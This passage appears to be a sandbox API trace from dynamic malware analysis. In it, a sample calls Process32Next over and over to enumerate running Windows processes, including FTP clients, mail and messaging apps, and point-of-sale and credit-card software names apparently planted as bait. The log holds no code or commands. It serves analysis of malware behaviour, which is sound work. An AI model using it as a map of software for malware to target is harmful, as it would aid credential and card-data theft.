th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.621] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.623] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.625] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.626] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.627] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.629] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.631] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0269.633] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0269.634] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0269.636] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.637] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0269.639] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0269.640] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0269.642] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0269.644] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.645] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0269.647] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0269.648] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0269.650] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0269.651] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0269.653] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0269.655] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0269.657] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0269.658] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0269.713] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0269.715] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0269.716] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0269.718] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0269.720] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0269.722] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0269.724] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0269.726] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0269.727] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0269.729] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0269.730] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0269.732] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0269.734] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0269.735] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0269.737] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0269.739] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0269.740] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0269.742] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0269.743] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0269.744] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0269.746] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0269.748] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0269.750] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0269.751] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0269.805] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0269.807] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0269.809] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0269.811] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0269.813] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0269.816] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0269.818] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0269.820] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0269.822] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0269.824] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0269.826] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0269.828] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0269.830] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0269.832] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0269.834] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0269.836] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0269.839] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0269.841] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0269.843] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0269.845] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0269.897] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0269.899] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0269.901] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0269.903] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0269.905] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0269.907] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0269.909] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0269.911] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0269.913] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0269.915] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0269.917] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0269.919] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0269.921] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0269.922] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0269.924] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0269.926] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0269.928] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, 